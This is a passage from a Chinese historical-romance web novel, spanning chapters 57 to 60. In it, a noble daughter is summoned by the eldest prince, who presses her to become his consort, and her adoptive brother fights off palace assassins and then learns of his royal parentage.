江曜言罢,举了举手中的雪山居十八仕女莲灯。
“不要!这个更不行。”
姬时语扑过来抱住他手臂,不住摇头冲他撒娇:“这是你替我得的,还那么珍贵,我要好好放在家里,每日都摸摸看看。”
江曜笑她:“你当供小祖宗呢?”
“你别管我。”姬时语哼。
“罢了。”
江曜不愿她这般难为,他转身又去往摊位买了一盏玉兔抱月花灯,而后便递给了姬时语。
“这下不必挑选哪个了吧?”
姬时语抱着玉兔灯,再昂首看江曜。
少年依旧面色冷淡,不变情绪,像无悲无喜似的,但他总将她的一点心意放在心上。
这样的小事,江曜亦是不厌其烦地替她抹平。
姬时语突然就觉着。
她的哥哥怎么能那么好啊?
她真庆幸,这一世能有江曜陪在她身边呢。
姬时语开怀扬笑,握笔在纸上几行字迹,后折好纸尽数塞进花灯之中。
末了,她蹲下来,将花灯放入护城河。
江曜站在她身侧,问道:“你许了什么心愿?”
姬时语气鼓鼓站起身,“云让哥哥,心愿说出来可就不作数了!”
她当然不会说啦。
她许下的心愿有家人有姐姐,有自己,还有他。
她真是个贪心的姑娘,所有的所有,她都想要。
只希望老天爷不要怪她。
江曜没再问,姬时语却问了他,“哥哥,你当真无任何想许下的心愿吗?”
五年之前,姬时语为他庆生,江曜说了自己并无心愿。
五年了。
他还是无欲无求吗?
姬时语不信邪,“你有没有什么想要得到的?”
江曜的狐狸眼直视于面前的姑娘。
姬时语拽着他衣袖,俏颜绽笑,眼中带有期盼的问他话。
江曜眼尾微挑深意。
他想要的。
他有。
江曜抬起手,大掌顷刻间抚上了姬时语柔软雪白的脸蛋,他的手冰凉,一如他这个人。
冷冷的。
对世间万物毫无留恋。
护城河便在姬时语身后,此刻千盏万盏花灯如一只只小舟飘荡在水面,随波逐流,灼灼绽放。
姬时语被他的手触摸,凉得她瑟缩。
不知为何,她顿了一下便主动凑过去,用脸舒服地轻轻蹭了蹭他的手心。
小姑娘的依赖撒娇取悦了江曜。
江曜看着她,眼中宠溺之色更甚,他蓦地笑道:“我想要的已经得到了。”
……
花朝节姬时语可谓收获颇丰。
不光头奖雪山居十八仕女被她收入囊中,还从这儿那儿的许多人手中揽了好多花灯。
一回韶华院,萍亭、萍柳、林妈妈是被她满身花灯吓了个大跳,直呼五小姐成了花灯童子。
后几个花灯被挂在了韶华院的檐角,姬时语一推开雕花木窗入目可见。
不过次日清早她睡醒时,起来瞧了瞧她的花灯,这么一数,却是少了一盏。
姬时语顿了顿。
好像是沈南怀送她的那盏没了。
“萍亭。”
姬时语喊来丫鬟,问道:“怎么少了一只花灯?”
萍亭和萍柳面面相觑,两人皆答昨日未见谁动过花灯。
姬时语茫然疑惑,这花灯就这么凭空消失在了韶华院。
“算了,一个花灯。”
姬时语也不去琢磨了,她谢过了沈家兄妹的好意便好。
尤其是沈安乐还有一桩事没摆平呢。
想起这些,姬时语回了书案,又翻看起了明光书肆送来的手册。
她仔细想过。
这些小道消息并非空穴来风,走漏的风声稍一深入打听,真八_九不离十。
便说光禄寺少卿王大人喝多了府门外褪了外衫,着了红亵裤。
姬时语让姬合英想尽法子去王府查过。
还真确有此事。
光禄寺少卿大人觉着太过丢脸,敲打过下人,不准任何人传出消息。
是以还无人得知每日上朝的少卿大人,其实喜欢红色亵裤。
姬时语合上书册,喊了萍柳过来。
“你去备车,萍亭去给杜家还有沈家递信,我要见杜小姐和沈小姐。”
“是,小姐。”
萍亭、萍柳齐齐出了屋。
姬时语前脚踏入屋门,后脚屋顶之上两道黑影窜下。
是宁氏姐妹。
宁心笑道:“小姐,今日江公子还在练武场,属下等随你出府。”
“好,你们跟着吧。”
姬时语没作多想。
一刻钟后,姬时语坐上了马车。
轻车熟路的,马车往明光书肆而去,姬时语便在车中定心沉思。
想着要等会见到沈安乐,要如何和她开口说昌平伯府的家事。
突然之间,马车又停下了。
姬时语疑窦:“到了?”
可车外传来一道不属于忠义侯府的声音。
“五小姐,我们殿下请你一见。”
姬时语眉头蹙得很深,她撩开车帘,“你们殿下是哪位殿下?”
两名侍卫立在车旁,面露严肃,其中一位应她:“是大皇子殿下。”
五个字落下,姬时语心觉大不好。
大皇子江承运为何起了意要见她。
上回见柳贵妃,柳贵妃却是对忠义侯府动心,想为二皇子谋求忠义侯府的助力,那么大皇子呢?
大皇子江承运已有正妃,不可能娶忠义侯府的嫡女为侧妃。
可姬时语还是不安。
总觉得江承运莫名见她,非奸即盗。
“五小姐,请吧。”
外头的人执意,似乎今日得了命令,定要带她去往大皇子府。
忠义侯府的车夫问:“小姐,怎么办?”
姬时语想到宁氏姐妹便在暗处跟随,她应不会遇险。
两人身为暗卫机灵着,恐怕这会儿已经给忠义侯府递消息了。
姬时语吩咐道:“走吧,去大皇子府。”
第58章
金华殿,乃是后宫妃嫔容婕妤的宫殿。
这一日大皇子江承运被母妃容婕妤传唤金华殿,他大步入殿,容婕妤在殿中来回踱步,见他来迎了过去。
“承运。”容婕妤喊他。
江承运面色不太好看,微不耐烦,“母妃找我有何事?”
“我也是才听说,柳贵妃召见了忠义侯府的姑娘,像是很中意。”
“那又如何?”
“儿啊。”
容婕妤眉眼按捺不住的焦急,“这么多年,二皇子一党一直深居简出,贵妃从未召见别府姑娘,偏偏侯府的两位嫡出小姐入了宫。”
说起忠义侯府,江承运眼底压不住的阴鸷。
他又忆起了五年前的宫宴之上,他有意求娶姬合英,却被父皇当场扇了脸。
每回想起这桩事,他的脸都火辣辣的疼。
姬合英不过一个忠义侯府的小姐,怎比得过他尊贵无双?
她还抗嫁!
“不会是姬合英嫁不出去,成了老姑娘了,忠义侯府上赶着要抱二皇子这颗大树吧。”
江承运冷笑:“贵妃和江承德的目光能有这么短浅?”
“不是姬合英。”容婕妤补道,“贵妃看上的是五小姐姬时语。”
“姬时语?那个黄毛丫头?”
“姬时语虽是幺女,可备受侯府宠爱。其上有父亲大将军忠义侯,还有母族舒家做靠山,舒老太爷好几位学生皆在朝中拜官,这便是舒家的底气。”
容婕妤哀叹一句,她唯恨自己出身太差。
容家是没落家族,朝中势力几乎为无,在江承运争权夺位这桩事上,容家出不上力。
“现如今她姐姐姬合英被大封女武官,可见陛下的器重。而另一位,她的兄长江云让,忠义侯的徒弟,是朝中最年轻的明威将军。”
容婕妤说:“姬时语是忠义侯府的掌上明珠,若能得到她,便得了她背后的所有势力。”
“母妃想说的便是这事,您不会是想我去娶回姬时语吧?不过,母妃怕不是忘记,大皇子妃苏氏已过门三年了。”
江承运早已迎娶正妃。
弘文帝亲自为江承
运挑的一门亲事,便是大理寺卿的嫡女苏氏,三年前她被册为了大皇子妃。
容婕妤冷笑道:“苏氏?你父皇太偏心了些,瞧瞧老三的正妃,苏氏简直没正眼看。”
一个三品大理寺卿的嫡女当上了大皇子妃,容婕妤对此怨念极深。
三皇子那样的出身,其母只是一介宫婢,弘文帝为他选的正妃,却是权势树大的安国公府。
“儿啊,母妃也不是要你弃了苏氏,只是姬时语若嫁给了二皇子,这太子之位便彻底是老三的囊中之物了。”
容婕妤叹道:“不若,你能得到忠义侯府为助力,有能耐和三皇子对抗,争一争这储君也好。”
江承运陷入沉思。
“老大,绝不可让姬时语嫁入二皇子府。”容婕妤面上闪动过一丝狠辣。
好半晌,江承运才开口。
“母妃,我明白你的意思了。”
……
忠义侯府,彼时江曜还在练武场守着姬时成扎马步。
经过一段时日的鬼哭狼嚎,姬时成已能坦然面对一个时辰的马步。
江曜抱臂站在旁,却在这时,林一身影一闪,蓦地现了身。
跟在他身后的,还有他的弟弟林二。
“林二,我不是让你跟着五小姐?”
江曜沉了脸。
姬时语从未见过林二,因此她并不知晓自打江曜回京,他便暗地里掌控着她的一举一动。
她每日的动向与行踪,江曜都派了人盯着她。
林二被下了死命令,他只有一个任务,那便是:监视姬时语。
因着林二是个哑巴,做这档子事最适合不过了,而他哥哥林一,则是林二的嘴。
林一道:“主子,林二说五小姐被大皇子带走了。”
“阿锁被人带走了?”
江曜一双狐狸眼瞬间染了血。
他忘不了五年前,姬时语在杏花胡桃被人掳走,若非他及时寻到人,她已遭遇不测。
“出府。”
江曜半刻也等不及,他戴好佩刀,步履飞快大步离了府邸。
大皇子府离忠义侯府仍要一刻钟的路途,江曜纵马当街一个急停,他改从主街直接穿过,入了巷子口。
穿行过去,比走主街要快得多。
江曜甫一驾马,刚冲入巷子里,须臾之间,一只冷厉飞刀朝着他后脑勺飞来。
响动很是轻微,可江曜还是惊觉了,他霎时偏过头。
冷风擦过耳,那把飞刀“唰”地撞上墙面。
啪嗒落地。
下一刻,深巷口的前前后后,数位蒙面黑衣人如雨点翻墙跃过,窜了出来。
林一和林二一前一后,挡在了江曜身前,江曜握着长刀飞快下了马。
“主子。”
林一在问,他们要如何行事。
“来了一群不长眼的东西。”
江曜眼中阴郁四起,冷面如寒冰,他拔了刀,周身笼罩杀气,“杀出去。”
刀剑碰撞,噼里啪啦。
银光飞溅,江曜一记扫堂腿,飞身踹上一人的胸前,黑衣人难缠的很,后仰躲避了他一击再度扑来。
江曜惊察,这些人是有武功底子的。
不简单!
他旋身一转,手中长刀直直插入另一人胸口。
再拔出,鲜血淋漓喷射,巷子的灰面墙顷刻间化作了朱红。
林一和林二也与几个黑衣人扭打在一起,江曜解决了手头几人,迅速过去帮两人。
被一群人拖行走不得,林一喊道:“主子,五小姐还在大皇子那儿!”
“该死。”
江曜的眼里怒火滔天,他走不得,心里更焦灼姬时语的安危,“要尽快解决了,我们得离开这里。”
刚说完,江曜抬起眼,脸色一变。
只见那条不深的巷子口,突然又闯入了一群不速之客。
又来了一帮黑衣人!
江曜的心彻底沉入了谷底。
偏偏在他赶去大皇子府,赶在他要救姬时语的时候冒出来当街刺杀。
究竟是谁,是大皇子的人,还是……
江曜死死看着一行人。
下一刻,江曜执起刀,将那把沾满鲜血的长刀在衣袖之上擦拭而过。
刀面一横,再又架上了护腕。
那就都来吧,来几个他杀几个。
弑神杀佛,谁也不能阻挡他!
江曜快杀疯了,来回几番交手之后他却发现,第二波窜出的黑衣人不是敌人,这些人没对他动手,反而在帮他们三人杀敌。
不肖一刻,巷子之中倒满了尸体。
江曜刚要质问来人,谁料暗卫们已是快步撤退离去,林一飞快闪身,横刀抓了一个。
“主子。”
林一悉听吩咐。
巷口传来了一道咳嗽声,“小将军,手下留人。”
长林推着一张身坐轮椅的江承德入了巷子,江承德眉眼病态的惨白,脸骨凹陷,瘦得不成形。
林一松了手,那暗卫闪到了江承德,跪下奉命:“殿下,已尽数肃清。”
“好,回去吧。”
暗卫眨眼消失不见,江曜收回冷眼,他望向江承德,“是你的人?”
“不错。”
江承德咳着,脸一斜,眸中瞥见江曜脚边的尸身,他笑了:“还真是招人恨啊,江小将军。”
“你不必回回都来挖苦我。”
江曜的狐狸眼阴冷,仿若洞穿了一切,他问:“殿下有何目的,那些也是你的人?”
“这可就冤枉本殿了。”
江承德双手一摊,“莫非在你心里,今日之事是本殿一手策划的好戏?”
“不无可能。”
“大错特错。”
“你今日为何在这?”
“我知晓皇兄请走了五小姐。”
江承德定定看江曜,少年杀气未退,是对着自己的,他就很兴味,“我是来救你的,江小将军。”
“那殿下说说吧,仔细的说。”
江曜也不想兜圈子,和江承德这种谜语人打交道,他只觉得很累,于是他冷声道:“我还有要事,只听殿下说一句话。”
“真是无情啊,看来又是和五小姐有关呢。”
江承德戏谑一笑,这回他竟言简意赅道:“你应不知晓,这些人身上留有皇室暗卫的印记,与我的暗卫一样。”
“是大皇子的人?”
“不,是楚王府。”
江承德这话一出,江曜整张脸是变了色,江承德洞察的清清楚楚,他问:“小将军,你身揣了一个大秘密吗?”
江曜瞬间抬首。
“楚王府的暗卫由老楚王执掌。”
江承德道:“这些年一部分交给了世子江子墨,还有一部分,楚王妃可动用。”
江曜和楚王府何仇何怨,竟能让楚王府动皇室暗卫前来刺杀。
楚王府是要灭了江曜这个人啊。
江承德摸了摸下巴,“小将军不打算解释?”
“这是私事。”
一看江曜便是不愿多说了。
江承德无奈道:“行吧,你和楚王府的恩怨我不过问了,今日暗卫之事,我会替你摆平,不会让第三人知晓,连五小姐也不会。”
江曜问:“你的目的?”
“当然,以后我是要你替我做件事。”
“不帮。”
“你会帮的。”
江承德笑了起来,“江云让,你不帮我的话,五小姐可就要成二皇子妃了。”
果然,江曜像要杀了他一样瞪过来。
“五小姐还在皇兄府上吧。”
拿捏住江曜的软肋,事情便好办了,江承德一下就笑开了,“走吧,你不是要去见皇兄。”
“我自己去。”
江曜蹙眉,打心底觉着和江承德一道,准没好事。
“我这个皇弟太久没拜访过皇兄了。”
然而江承德已是喊了长林过来,“长林,送我去大皇子府。”
……
大皇子府,姬时语随管家一路抵达主院的正堂。
她到时江承运已坐于上首,等候多时。
“见过大皇子殿下。”姬时语垂头行了礼。
江承运一身锦袍玉冠,侧着脸落了半边黑沉,手中的瓷杯轻晃,看不出是何等的神情。
从前姬时语亲眼见过江承运发怒,当街马踏差点踩死薛淮璋的亲妹薛盼盼。
她更知道这位大皇子比起二皇子、三皇子脾气差的太多。
是又臭,人还狂暴。
江承运眯起眼,左右仔细端详了一会儿下首的姑娘。
忠义侯府的五小姐,五年之前见时,还是个十岁的半大女童。
江承运只记得她人如雪团子一个,没觉得该有多上心。
五年之后再亲眼一见,姬时语已是抽条,娇美容貌彻底长开了。
一双水澄澄的猫瞳之上柳眉弯弯,雪白的脸蛋,脖颈长而美,其下是柔美曼妙的身段。
与其姐的英气不同,这位将门捧着长大的明珠,俨然是一颗未琢的明媚玉石。
漂亮的让人挪不开眼。
江承运一下便起了心思。
这天底下又有谁有这个能耐,去藏纳这颗明珠呢?
只有无上的至尊啊。
母妃说的太对了,这样
的美人,背后势力如斯庞大,就合该入他的大皇子府。
转瞬,江承运道:“坐吧。”
姬时语随处找了个座椅,入了座,她稍稍远离了上首。
江承运看她的眼神令她很不自在,便像被什么滑腻腌臜紧盯着不放。
她不喜欢,便也下意识不愿意亲近。
“殿下有事见我,不知是何事?”姬时语开门见山。
江承运望着她的眼更直接,他道:“姬时语,本殿要你亲自请愿,入大皇子府。”
一句话,姬时语脸色巨变。
努力镇定了几分,姬时语道:“殿下,这玩笑并不好笑。”
“你以为本殿和你说玩笑话?”
“大皇子府已有了正妃娘娘,怎么,殿下妄想纳忠义侯府的嫡女为侧妃,这未免太折辱我侯府了。”
让她亲自请愿,告知忠义侯府的爹娘,再入宫求见弘文帝,说她姬时语愿意做大皇子的侧妃?
姬时语觉得江承运跟得了癔症似得,病得不轻。
还发癫。
第59章
“看来若我许你正妃之位,你就愿意入大皇子府了?”
“殿下,我不愿。”
姬时语强忍恼怒,她真想不出江承运一双狗眼是长脑门上了。
他哪门子看出她乐意的?
姬时语道:“不论是正妃也好,侧妃也罢,我忠义侯府的女儿,从未想过要嫁入皇家。”
一如五年前她的姐姐姬合英在大殿拒嫁,姬时语今日给出了一样的答案。
旧事重提,江承运一下子怒火中烧,“姬时语,我劝你莫要给脸不要脸!本殿许你正妃之位,你就该当知足了。”
“我该为能嫁入大皇子府感到荣幸?”
“那是自然。”
江承运对储君之位势在必得,他一直觉着当上他的正妃将会是未来的太子妃,更不说问鼎皇后尊座。
这天下至高的后位,他不信姬时语不心动。
然而姬时语只拿看傻子的眼神看他,“所以,大殿下当初为何娶的是苏家女?”
既然都在挑选日后的皇后了,选的此女身份地位还比不过三皇子妃,三皇子迎娶的可是安国公府的嫡长女。
“姬时语,你逾越了,这事还轮不到你置喙。”
江承运被戳到痛处,怒到脸面通红,“陛下赐婚,岂是尔等能抗拒的?”
“也是。”
姬时语蹙眉回:“如今的大皇子妃是大理寺卿苏家的嫡女,那殿下打算如何处治苏氏?”
“苏氏?她又算得了什么,本殿让她活着,她便可好好做她的大皇子妃,若本殿不愿了,她就只能……”
两人交谈之时,正堂之外远远的,有一抹柔弱的身影在靠近。
江承运的目光直落于姬时语这面,并未察觉,可姬时语敏锐地捕捉到了,来的是一个女人。
在这大皇子府,能入正院的女子,还能是谁呢?
姬时语叹了口气。
“殿下,我还是那句话,我忠义侯府的嫡女不可能为侧妃。与大皇子你,我无意为伍,这辈子我绝不可能嫁与你,殿下还是死了心吧。”
“姬时语,即使我许你正妃之位,你也不愿?”
“我不愿,大皇子妃娘娘,她并未犯下过错,我为何要与之争抢正妃之位?在我朝,从未出过休弃正妃之事,陛下不会准许,还望殿下不要对她动任何心思。”
姬时语摇摇头,她垂下头,故意大了些声量,“至于您说要她性命,殿下能待发妻如此心狠,当陛下知晓、苏家知晓、世人知晓,你这等狠毒之人又怎堪佩储君之位!”
“姬时语,你胆敢……信不信本殿现在便要了你命!”
江承运被她这番话彻底激怒,迅速起身作势扬了手。
一抹黑影如闪电落下,宁心瞬间现身,挡在了姬时语身前。
姬时语低垂的眼划过一道寒光的讥嘲。
江承运,这种小人。
他也配当太子?
这个时候,正堂之外忽然响起喧闹之声,管家急匆匆闯入室内,焦急禀报:“殿下不好了!二皇子和忠义侯府的小将军持刀硬闯进来了!”
姬时语欣喜一记。
是江曜来了!
“府上的侍卫呢?还不去阻拦!”江承运满眼阴骘,“他们竟敢硬闯,真当我大皇子府满是死人了?”
江承运根本顾不上惩治姬时语,立马大步跨出屋,怒气冲冠的喊人。
才一出去,江承运便与院门口的一道纤细身影撞见了。
苏氏惨白着脸立身子微微颤抖,投目望过来时,见江承运一脸狰狞,她连忙挪开了眼。
江承运不知道方才屋中的交谈苏氏听进了多少,可他一想到自己竟娶了这么一个废物正妃。
他就烦到想休了她。
江承运阴沉着脸,下命令:“来人,死守正院,不准任何人离开!”
姬时语被强行关在了正堂之内。
而江承德和江曜来的比江承运以为的还要快。
尽管大皇子府的侍卫已百般阻挠,可架不住一个疯子江曜见人打人,来一个踹翻一个。
这还是江承德在旁拦了,劝了江曜:“不要闹出人命,不然父皇那儿不好交代。”
因此,江曜收了刀,只用刀背打人。
就这么两人一路轻松地放倒了一片,来到了大皇子府的正院。
江承运目光定定注视着两人,像要将他们活剖生吃。
“大皇兄。”
长林推着轮椅近来,江承德坐着,江承运站着。
眼见这位柳贵妃的亲子二皇子,江承运拳头嘎吱作响。
“二皇弟今日来皇兄府上,行事真可谓嚣张啊!”
“也是许久未见皇兄了,府上的下人动作太慢,我怕误事,便下手重了些,皇兄不会怪我吧?”
孱弱的二皇子江承德边咳嗽边笑,他明明坐着,可气势比江承运还要强,“我们可没动刀啊,没杀你大皇子府的人。”
江承运又看江曜,不掩怒意,“我竟还要谢谢你们了?”
“那不必。”江承德笑。
江曜上前一步,脸色阴冷,他直问:“姬时语在哪?”
江承运真是忍不住冷笑。
“怎么,二皇弟已笼络了忠义侯府?难怪姬时语不愿入我的大皇子府,江承德,原是你已许了她正妃之位啊。”
闹这么大动静,这两人便是为着忠义侯府的五小姐而来的?
看来容婕妤说的实属当真。
柳贵妃一派早对忠义侯府起了主意,不然江承德也不会顶着冒犯皇兄的名义擅闯大皇子府。
江承运嗤笑起来:“我还当她是个有骨气的,说什么忠义侯府的女儿誓死不嫁皇子。呵,原来也不过是个嫌贫爱富之辈。”
江曜刹那间摸上了佩刀,狐狸眼盛满嗜血。
“江云让,不可。”
江承德第一时捉到了江曜的杀气,立马开口:“你在这里动手,受牵连的可就是忠义侯府,还有五小姐。”
江曜如今明面上乃是忠义侯府的人,在大皇子府对江承运下手,无疑是忠义侯府向皇室宣战,侯府是想造
反?
一旦定罪,弘文帝恐会下旨诛姬府全族。
江曜死死掐住了刀柄,没动了。
江承德悬着的心并未全然放下,隐隐担忧。
江曜宛如杀神,见过了血的刀才是饥渴,这天底下真有能遏制他杀念的东西吗?
好在这时候江承德眼前一亮,他喊了江曜:“江云让,看那儿。”
大皇子妃苏氏牵着姬时语缓步从正院而出,正院本有多名侍卫把守,但大皇子妃带人离开,侍卫们不敢阻拦。
两人便也成功离了院。
姬时语与苏氏道谢:“谢谢娘娘。”
苏氏轻笑,将她往江曜那面推了一把,“去吧。”
姬时语因而回到了江曜的身边。
也是在这一刻,江曜紧绷的冷脸终于松懈,他握紧了姬时语的手,那只腕骨之上的青筋隐隐在颤。
他沉声问:“没事吧?”
“我都好,他没把我怎么样。”
姬时语盈盈一笑,柔柔摸了江曜的手背。
感触她的温声笑语,少年像被平静安抚,乖顺地陪在她身边。
江承德亲眼所见一头嗜血凶兽,刹那间恢复了平和。
他感叹,原来这拴住猛兽的缰绳,竟是忠义侯府的五小姐姬时语。
眼前的一幕令江承运怒不可遏,他大骂苏氏:“我不是说了,不准任何人离院!”
“殿下,五小姐的家人等的急了,妾身只是送五小姐回去。”
苏氏被怒吼,她脖子一缩,可还是拂了礼,平静回:“还是说,殿下想强留五小姐在大皇子府?”
“苏氏,你敢这样和本殿说话!”
江承运和苏氏成亲三年,苏氏性子怯懦,从不顶嘴,这还是大皇子妃头一回忤逆他言。
苏氏凄凉一笑:“妾身只是实话实说,眼下二殿下亦是在,还望殿下公正对待妾身。”
“好,好,好!你还学会找靠山了?”
“大皇兄,皇嫂乃是父皇钦赐的大皇子妃,你若欺辱她,便是对父皇不满。到那时大皇兄的美梦,恐真要破灭了。”
江承德给了长林一个眼神,长林作势推着江承德便要走。
走前江承德还不忘好心一说:“今日皇弟我就先带着忠义侯府的少爷小姐回了,改日得空再和皇兄叙叙旧。”
江曜牵着姬时语先行离开。
江承德为两人护驾,走在最末。
江承运盯着一行人远去。
那双眼蒙上一层黑雾,恨意愈发之深。
江承运想踹人,来回转了两下,又恼火苏氏多事,想给她一耳光,可想起江承德的警告,扬起的手落下,只能全忍了。
气无处可发,江承运指着苏氏鼻子破口大骂:“滚,立马给我滚开,别让我看见你!”
苏氏也不留,立马走人。
江承运粗喘大气,这口委屈,他早日要百倍奉还。
江承德,江云让。
他记住了!
……
姬时语被江曜扶着上了马车,两人并肩坐下之后,江曜轻轻捉住了她的手。
“阿锁,你当真无事?”江曜还是担忧。
“你看我哪哪都好,哪像有事的样子?”
姬时语捧着下巴,给江曜摆出一道极其明媚的笑容,小姑娘眉眼弯弯,倒真像个没事人。
江曜掐了下她的脸蛋,没好气道:“得知你被大皇子带走,我可要急坏了。”
“嘿嘿,我就知道宁乐会去找你的。”
姬时语抓着江曜的手腕晃动,不自觉同他撒娇,“还好宁乐没去找我爹娘,要是他们来大皇子府,还不知道陛下怎么想呢。”
江曜的手一僵,他是半路遇到宁乐的,林二受他之名潜伏在姬时语身边。
这事姬时语还不知。
“不过,你怎么和二皇子一起来的?”
姬时语见到江承德时非常纳闷。
江曜反握了姬时语的手,轻声开口:“我半路遇到了刺杀,二皇子救了我。”
“刺杀!”
姬时语着急了,下意识抓紧他,“是谁这么大胆,要对你下死手?”
她呼吸一窒,好似想起了什么事。
江曜冷然道:“是楚王府的暗卫。”
姬时语定定凝视他的脸,江曜亦是未动,两人对望了许久,车厢之中宛如死寂。
良久之后,姬时语朱唇轻启:“云让哥哥,其实你和楚王府……”
江曜径直打断了她的话,“我知道,我是楚王爷的亲生儿子。”
姬时语的脑子轰得一下炸开了,再看过去时,少年一双狐狸眼静如死水,沉着几许阴郁,好似寻常。
“你……都知道了?”
姬时语朱唇蠕动。
江曜却轻轻前倾,他探过了身来。
系在江曜腰间的那根朱红绦带的穗子登时垂落,打在了姬时语的手背。
车厢逼仄,他身子本就高大,阴影笼下,不过眨眼的功夫他的身影便彻底盖住了姬时语。
姬时语僵住了。
江曜抬手,大拇指触摸上了她如娇花柔嫩的唇瓣。
他的指腹摁压她的唇,重着一下后又轻了些,缓缓揉了揉,搓着那一块嫩肉变得更软。
粗粝的拇指稍一摩梭,姬时语不自觉地“嘶——”发出了声音。
“你做什么……”
姬时语细密的眼睫飞快眨动,像很是紧张。
此时此刻,少年盯着她唇瓣的热烈目光,直视又灼灼。
第60章
“云、云让哥哥。”
姬时语喏喏启唇,下唇瓣被江曜的大拇指摁住,她甚至不能启唇大口,只能低声低语。
江曜的眼神令她有些害怕。
好像要把她的嘴巴,一口血淋淋咬掉似的。
姬时语想说,她不好吃,不如吃烤小乳猪,那样肉更嫩些。
佯装镇定之后,姬时语握住他的手腕,没让少年继续摩挲她的嘴唇。
“我等会儿还要去明光书肆呢。”
江曜闻言蹙眉。
再又一望她捉住自己手腕的双手,他在姬时语的唇瓣上狠狠摁了两下,问她:“你今日出门涂了口脂?”
“呀,这都让你看出来啦?是安乐送给我的蜜脂,说是近日最时新的果红呢,好不好看?”
姬时语俏生生地笑,她的朱唇好似涂抹了花香蜜色,甜腻香气环绕,唇瓣娇艳绮丽,引人撷取。
江曜收回抚摸她唇的拇指,转而抬手将润红的指尖抹在了自己的唇角。
见他这个动作,姬时语的脸蛋刷得染了霞色,羞赧不已。
他、他、他,怎么能涂抹她的口脂?
成何体统了?
少年寒冷的脸毫无表情,一双狐狸眼淬着晦涩,唯有薄唇一抹红,突兀地落在那儿。
与他脖上那颗红痣一起,衬出一抹艳色。
江曜镇定自若:“你说的好看。”
姬时语面红耳赤的不行,爬过去便抹他唇上的口脂,江曜呆楞着,任由她的动作。
擦拭干净之后,姬时语才叉腰哼道:“这可是姑娘家的口脂,你涂了是想勾谁啊?”
江曜盯着她,不语。
姬时语脑子里瞬间冒出一个荒唐的念头。
她的云让哥哥不会是,想勾引她吧?
江曜挑了下眉,狐狸眼含了戏谑之意。
“阿锁。”
他唤她,声音低低沉沉的好听。
姬时语竟然可耻地害羞了。
她不敢相信,她忘不掉江曜摁着她摸唇,又以唇换唇,抹她口脂的一幕。
江曜是她看着长大的,她可是拿他当哥哥看的。
她怎么能对哥哥害羞?
可是他总故意做些举动,令她心跳飞快,抑制不住。
一定是江曜生得太俊俏,她才会动摇。
姬时语如此肯定。
“阿锁。”
“喊我作甚?”
姬时语哼了哼,强迫自己和江曜挪开了身位,江曜勾了她的手想拉她坐回去,可小姑娘固执的很,没让。
江曜再伸手时,她一把拍开了,这下可没少用力,给少年手背拍出了红痕。
“阿锁。”江曜蹙眉。
姬时语咬唇岔开话,说道:“云让哥哥,你还没告诉我,你如何知道自己身世的。”
话回到楚王府,江曜便坐了回去,沉声道:“五年前,我离京去往岭西之前,侯爷亲口告诉了我。”
那时候姬雄武特意将江曜单独喊去书房,郑重其事交代了他真正的身世,以及白家当年沉痛的过往。
他的舅舅大将军白斩霍,一朝大灭蛮族,封狼居胥归朝,受了特封褒奖,百姓爱戴,满京称赞。
可归京不过一年,便有人上呈
天听,检举白斩霍暗藏谋逆之心,策划多时。
弘文帝大怒,下命查封了白家。
后来真在白家翻找出了罪证。
在白斩霍的书房暗室,藏匿了几封私通大陇的信件。
弘文帝下旨命忠义侯姬雄武带兵抄了白家,白家受罪,满门抄斩,女眷尽数流放。
江曜的母亲白流,是白斩霍最小的嫡妹,那时也不过刚满十五岁。
白斩霍下了狱,姬雄武被挡在外不得见他人,无奈只得疏通刑部,数日之后得以见到奄奄一息的他。
死前他留下遗言,便是求姬雄武照顾他的妹妹白流。
可惜两人相见太晚,白流已随流放车队出了京。
等姬雄武立即找去时,流放之中已没了白流的身影。
听官差说她趁乱跳了江,人应是死了。
姬雄武痛心疾首。
就这么十年之后,姬时语从辽城带回了江曜。
再见到江曜的那一刻,姬雄武便猜到了他是白流的孩子。
白流自小便是冷艳倔强的姑娘,江曜与其母如出一辙的冷淡狐狸眼,他不会认错的。
可江曜的父亲是谁?
姬雄武问及江曜可还记得生时的村落,后派人找去,便从村中喜婆手中寻回白流的一枚黑龙含珠玉佩。
玉佩的背后还刻了一个曜字。
姬雄武说:“江曜,你是楚王爷的孩子,白流竟和楚王有了孩子……”
而江曜,便是他真正的本名。
姬时语听得震撼,久久不能平静,“为什么五年前爹执意要带你走?”
她没忘记,姬雄武曾说,江曜不走,他活不到长大及冠。
江曜道:“侯爷察觉还有一行人在暗地查我的身世,他怀疑是安国公府的人。”
“你的姨母!”
姬时语倒吸了一口凉气。
她很快想到了安国公府嫡长女,江曜的表姐柳眉嫁入三皇子府,是为三皇子妃。
而楚王府和楚王妃的母族胡家,正是三皇子的左膀右臂。
“是她们告诉的楚王妃!”
姬时语怒了,“安国公夫人怎么说也是你的亲姨母,她是你母亲的亲姐姐,怎能对你这般凉薄?”
江曜看得很开,他倒不觉得和柳家、柳眉谈何的亲缘。
姬时语道:“我猜想楚王爷应还不知情。”
“知不知情有何所谓?”
江曜嘲讽笑:“他一个残废连床榻都下不了,又能做什么?现如今的楚王府,应是全由楚王妃掌管。”
“那可是你亲生父亲。”姬时语拧眉。
江曜侧头,少年一贯冷漠。
姬时语叹气,问:“你打算怎么做?”
“楚王妃既然对我动了杀心,我没理由再躲下去了。”
姬时语知道江曜对楚王府的荣华富贵并不在意。
五年之前安国公府想带他走,可他执意留在忠义侯府,做她的哥哥,便足以见得。
但江曜瑕疵必报,楚王妃想杀他,他怎么忍?
姬时语朱唇蠕动几下,眼中落了晦涩问:“你要回楚王府了?”
江曜没吭声。
少年低垂敛眉,狐狸眼之中沉沉阴郁,恨意缭绕。
何止。
他要毁了楚王妃想要的一切。
……
等姬时语感到明光书肆已是日落西山。
在大皇子府折腾近一个时辰,她感到疲惫,后又和江曜商议楚王府一事,后脑勺真是隐隐作痛。
好在沈安乐的事有了眉目。
姬时语便当即告诉沈安乐实情。
昌平伯府的次子看似纨绔,实则不然,这人应不是个荡浪子弟、滥情无数之人。
经过姬时语数日翻查情报,小道消息满天飞,连光禄寺少卿大人的裤衩子都没落下。
若昌平伯次子花天酒地胡来,她早该知道了。
且还有另一件事。
昌平伯世子,也就是沈安乐日后的大哥,在世人面前他清正廉洁,在家又敬重发妻。
这位世子却在京中偷养了一位外室。
且这外室还是个带女儿的寡妇。
所谓知人知面不知心。
一趟出府再又回府,姬时语回到韶华院的时候,累得十根手指在打颤。
萍柳放好温水,姬时语舒舒服服入浴桶沐浴舒缓全身,梳洗过后她倒躺回了床榻。
沈安乐和沈南怀谢过她的相帮相助,兄妹们俩是安了心。
昌平伯次子并非烂泥,沈安乐能如愿出嫁了。
